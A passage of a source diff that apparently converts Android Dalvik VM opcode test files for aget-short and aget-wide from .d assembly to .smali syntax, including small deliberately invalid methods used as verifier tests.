diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_3.d
deleted file mode 100644
index e55e873..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_short_3.java
-.class public dot.junit.opcodes.aget_short.d.T_aget_short_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([SI)S
-.limit regs 9
-
-       const-wide v1, 1
-       aget-short v0, v7, v1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_3.smali
new file mode 100644
index 0000000..ea65a70
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_short_3.java"
+.class  public Ldot/junit/opcodes/aget_short/d/T_aget_short_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([SI)S
+.registers 9
+
+       const-wide v1, 1
+       aget-short v0, v7, v1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_4.d
deleted file mode 100644
index 36e9428..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_short_4.java
-.class public dot.junit.opcodes.aget_short.d.T_aget_short_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;I)S
-.limit regs 9
-
-       aget-short v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_4.smali
new file mode 100644
index 0000000..9410d8f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_short_4.java"
+.class  public Ldot/junit/opcodes/aget_short/d/T_aget_short_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;I)S
+.registers 9
+
+       aget-short v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_5.d
deleted file mode 100644
index 990a231..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_short_5.java
-.class public dot.junit.opcodes.aget_short.d.T_aget_short_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([DI)S
-.limit regs 9
-
-       aget-short v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_5.smali
new file mode 100644
index 0000000..9c58954
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_short_5.java"
+.class  public Ldot/junit/opcodes/aget_short/d/T_aget_short_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([DI)S
+.registers 9
+
+       aget-short v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_6.d
deleted file mode 100644
index 5490c9f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_short_6.java
-.class public dot.junit.opcodes.aget_short.d.T_aget_short_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([II)S
-.limit regs 9
-
-       aget-short v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_6.smali
new file mode 100644
index 0000000..389e221
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_short_6.java"
+.class  public Ldot/junit/opcodes/aget_short/d/T_aget_short_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([II)S
+.registers 9
+
+       aget-short v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_7.d
deleted file mode 100644
index 06e1029..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_7.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_short_7.java
-.class public dot.junit.opcodes.aget_short.d.T_aget_short_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([SI)S
-.limit regs 9
-
-       aget-short v0, v7, v6
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_7.smali
new file mode 100644
index 0000000..fcb8077
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_7.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_short_7.java"
+.class  public Ldot/junit/opcodes/aget_short/d/T_aget_short_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([SI)S
+.registers 9
+
+       aget-short v0, v7, v6
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_8.d
deleted file mode 100644
index 92f0d1c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_8.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_short_8.java
-.class public dot.junit.opcodes.aget_short.d.T_aget_short_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([SF)S
-.limit regs 9
-
-       aget-short v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_8.smali
new file mode 100644
index 0000000..1dc33fd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_8.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_short_8.java"
+.class  public Ldot/junit/opcodes/aget_short/d/T_aget_short_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([SF)S
+.registers 9
+
+       aget-short v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_9.d
deleted file mode 100644
index d337120..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_9.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_short_9.java
-.class public dot.junit.opcodes.aget_short.d.T_aget_short_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([SI)S
-.limit regs 9
-
-       aget-short v0, v7, v9
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_9.smali
new file mode 100644
index 0000000..e0daf55
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_9.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_short_9.java"
+.class  public Ldot/junit/opcodes/aget_short/d/T_aget_short_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([SI)S
+.registers 9
+
+       aget-short v0, v7, v9
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_1.d
deleted file mode 100644
index 08d842a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_1.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_wide_1.java
-.class public dot.junit.opcodes.aget_wide.d.T_aget_wide_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([JI)J
-.limit regs 8
-
-       aget-wide v0, v6, v7
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_1.smali
new file mode 100644
index 0000000..424b1c0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_1.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_wide_1.java"
+.class  public Ldot/junit/opcodes/aget_wide/d/T_aget_wide_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JI)J
+.registers 8
+
+       aget-wide v0, v6, v7
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_10.d
deleted file mode 100644
index 5bbac0d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_10.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_wide_10.java
-.class public dot.junit.opcodes.aget_wide.d.T_aget_wide_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([JF)J
-.limit regs 8
-
-       aget-wide v0, v6, v7
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_10.smali
new file mode 100644
index 0000000..45a29f1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_10.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_wide_10.java"
+.class  public Ldot/junit/opcodes/aget_wide/d/T_aget_wide_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JF)J
+.registers 8
+
+       aget-wide v0, v6, v7
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_11.d
deleted file mode 100644
index e174a37..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_11.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_wide_11.java
-.class public dot.junit.opcodes.aget_wide.d.T_aget_wide_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([JI)J
-.limit regs 8
-
-       aget-wide v7, v6, v7
-       return-wide v7
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_11.smali
new file mode 100644
index 0000000..9b7300a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_11.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_wide_11.java"
+.class  public Ldot/junit/opcodes/aget_wide/d/T_aget_wide_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JI)J
+.registers 8
+
+       aget-wide v7, v6, v7
+       return-wide v7
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_2.d
deleted file mode 100644
index 5372845..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_2.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_wide_2.java
-.class public dot.junit.opcodes.aget_wide.d.T_aget_wide_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([DI)D
-.limit regs 8
-
-       aget-wide v0, v6, v7
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_2.smali
new file mode 100644
index 0000000..c0ce4cdb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_2.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_wide_2.java"
+.class  public Ldot/junit/opcodes/aget_wide/d/T_aget_wide_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([DI)D
+.registers 8
+
+       aget-wide v0, v6, v7
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_3.d
deleted file mode 100644
index cf462df..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_wide_3.java
-.class public dot.junit.opcodes.aget_wide.d.T_aget_wide_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([JI)J
-.limit regs 8
-
-       const-wide v2, 1.0
-       aget-wide v0, v6, v2
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_3.smali
new file mode 100644
index 0000000..29f243b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_wide_3.java"
+.class  public Ldot/junit/opcodes/aget_wide/d/T_aget_wide_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JI)J
+.registers 8
+
+       const-wide v2, 1.0
+       aget-wide v0, v6, v2
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_5.d
deleted file mode 100644
index 1c407ba..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
